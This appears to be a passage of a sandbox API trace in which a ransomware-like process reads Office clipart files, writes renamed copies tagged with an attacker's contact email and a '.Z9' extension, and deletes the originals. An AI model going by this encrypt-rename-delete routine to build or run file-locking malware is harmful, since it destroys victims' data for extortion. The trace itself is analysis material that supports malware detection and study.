	[0084.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.074] lstrlenW (lpString=".pdf") returned 4
	[0084.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString=".xls") returned 4
	[0084.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.074] lstrlenW (lpString=".xlsx") returned 5
	[0084.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.074] lstrlenW (lpString=".ppt") returned 4
	[0084.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.074] lstrlenW (lpString=".zip") returned 4
	[0084.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.074] lstrlenW (lpString=".rar") returned 4
	[0084.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.075] lstrlenW (lpString=".bz2") returned 4
	[0084.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.075] lstrlenW (lpString=".7z") returned 3
	[0084.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.075] lstrlenW (lpString=".dbf") returned 4
	[0084.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.075] lstrlenW (lpString=".1cd") returned 4
	[0084.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0084.075] lstrlenW (lpString=".jpg") returned 4
	[0084.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.075] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.075] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0084.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=26748) returned 1
	[0084.076] CloseHandle (hObject=0x38c) returned 1
	[0084.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220
	[0084.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.077] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.077] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.077] GetLastError () returned 0x0
	[0084.077] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x687c, lpOverlapped=0x0) returned 1
	[0084.080] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x6880, lpOverlapped=0x0) returned 1
	[0084.081] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.081] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.081] SetEndOfFile (hFile=0x394) returned 1
	[0084.082] CloseHandle (hObject=0x394) returned 1
	[0084.083] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.083] SetEndOfFile (hFile=0x38c) returned 1
	[0084.120] CloseHandle (hObject=0x38c) returned 1
	[0084.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1
	[0084.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.121] lstrlenW (lpString=".doc") returned 4
	[0084.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.121] lstrlenW (lpString=".docx") returned 5
	[0084.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.121] lstrlenW (lpString=".pdf") returned 4
	[0084.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.121] lstrlenW (lpString=".xls") returned 4
	[0084.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.122] lstrlenW (lpString=".xlsx") returned 5
	[0084.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.122] lstrlenW (lpString=".ppt") returned 4
	[0084.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString=".zip") returned 4
	[0084.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.122] lstrlenW (lpString=".rar") returned 4
	[0084.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString=".bz2") returned 4
	[0084.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString=".7z") returned 3
	[0084.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString=".dbf") returned 4
	[0084.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString=".1cd") returned 4
	[0084.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString=".jpg") returned 4
	[0084.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.122] lstrlenW (lpString=".doc") returned 4
	[0084.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString=".docx") returned 5
	[0084.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.123] lstrlenW (lpString=".pdf") returned 4
	[0084.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString=".xls") returned 4
	[0084.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.123] lstrlenW (lpString=".xlsx") returned 5
	[0084.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.123] lstrlenW (lpString=".ppt") returned 4
	[0084.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.123] lstrlenW (lpString=".zip") returned 4
	[0084.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.123] lstrlenW (lpString=".rar") returned 4
	[0084.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString=".bz2") returned 4
	[0084.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString=".7z") returned 3
	[0084.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.123] lstrlenW (lpString=".dbf") returned 4
	[0084.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.123] lstrlenW (lpString=".1cd") returned 4
	[0084.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0084.123] lstrlenW (lpString=".jpg") returned 4
	[0084.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.124] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.124] lstrlenW (lpString="BD07804_.WMF") returned 12
	[0084.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.124] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4924) returned 1
	[0084.124] CloseHandle (hObject=0x38c) returned 1
	[0084.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220
	[0084.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.126] GetLastError () returned 0x0
	[0084.126] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x133c, lpOverlapped=0x0) returned 1
	[0084.128] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0084.129] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.129] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.129] SetEndOfFile (hFile=0x394) returned 1
	[0084.130] CloseHandle (hObject=0x394) returned 1
	[0084.131] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.131] SetEndOfFile (hFile=0x38c) returned 1
	[0084.132] CloseHandle (hObject=0x38c) returned 1
	[0084.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1
	[0084.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.133] lstrlenW (lpString=".doc") returned 4
	[0084.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.133] lstrlenW (lpString=".docx") returned 5
	[0084.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.133] lstrlenW (lpString=".pdf") returned 4
	[0084.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.133] lstrlenW (lpString=".xls") returned 4
	[0084.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.133] lstrlenW (lpString=".xlsx") returned 5
	[0084.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.133] lstrlenW (lpString=".ppt") returned 4
	[0084.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.133] lstrlenW (lpString=".zip") returned 4
	[0084.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.133] lstrlenW (lpString=".rar") returned 4
	[0084.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString=".bz2") returned 4
	[0084.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString=".7z") returned 3
	[0084.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.134] lstrlenW (lpString=".dbf") returned 4
	[0084.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.134] lstrlenW (lpString=".1cd") returned 4
	[0084.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.134] lstrlenW (lpString=".jpg") returned 4
	[0084.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.134] lstrlenW (lpString=".doc") returned 4
	[0084.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString=".docx") returned 5
	[0084.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.134] lstrlenW (lpString=".pdf") returned 4
	[0084.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.134] lstrlenW (lpString=".xls") returned 4
	[0084.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.134] lstrlenW (lpString=".xlsx") returned 5
	[0084.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.134] lstrlenW (lpString=".ppt") returned 4
	[0084.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.135] lstrlenW (lpString=".zip") returned 4
	[0084.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.135] lstrlenW (lpString=".rar") returned 4
	[0084.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.135] lstrlenW (lpString=".bz2") returned 4
	[0084.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.135] lstrlenW (lpString=".7z") returned 3
	[0084.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.135] lstrlenW (lpString=".dbf") returned 4
	[0084.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.135] lstrlenW (lpString=".1cd") returned 4
	[0084.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68
	[0084.135] lstrlenW (lpString=".jpg") returned 4
	[0084.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.135] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.135] lstrlenW (lpString="BD07831_.WMF") returned 12
	[0084.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.136] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4066) returned 1
	[0084.136] CloseHandle (hObject=0x38c) returned 1
	[0084.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220
	[0084.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.136] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.136] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.137] GetLastError () returned 0x0
	[0084.137] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfe2, lpOverlapped=0x0) returned 1
	[0084.580] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0084.590] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.590] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.590] SetEndOfFile (hFile=0x394) returned 1
	[0084.590] CloseHandle (hObject=0x394) returned 1
	[0084.591] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.591] SetEndOfFile (hFile=0x38c) returned 1
	[0084.592] CloseHandle (hObject=0x38c) returned 1
	[0084.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString=".doc") returned 4
	[0084.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString=".docx") returned 5
	[0084.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.593] lstrlenW (lpString=".pdf") returned 4
	[0084.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString=".xls") returned 4
	[0084.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.593] lstrlenW (lpString=".xlsx") returned 5
	[0084.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.593] lstrlenW (lpString=".ppt") returned 4
	[0084.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString=".zip") returned 4
	[0084.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.593] lstrlenW (lpString=".rar") returned 4
	[0084.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString=".bz2") returned 4
	[0084.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString=".7z") returned 3
	[0084.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString=".dbf") returned 4
	[0084.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString=".1cd") returned 4
	[0084.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.593] lstrlenW (lpString=".jpg") returned 4
	[0084.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68
	[0084.594] lstrlenW (lpString=".doc") returned 4
	[0084.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
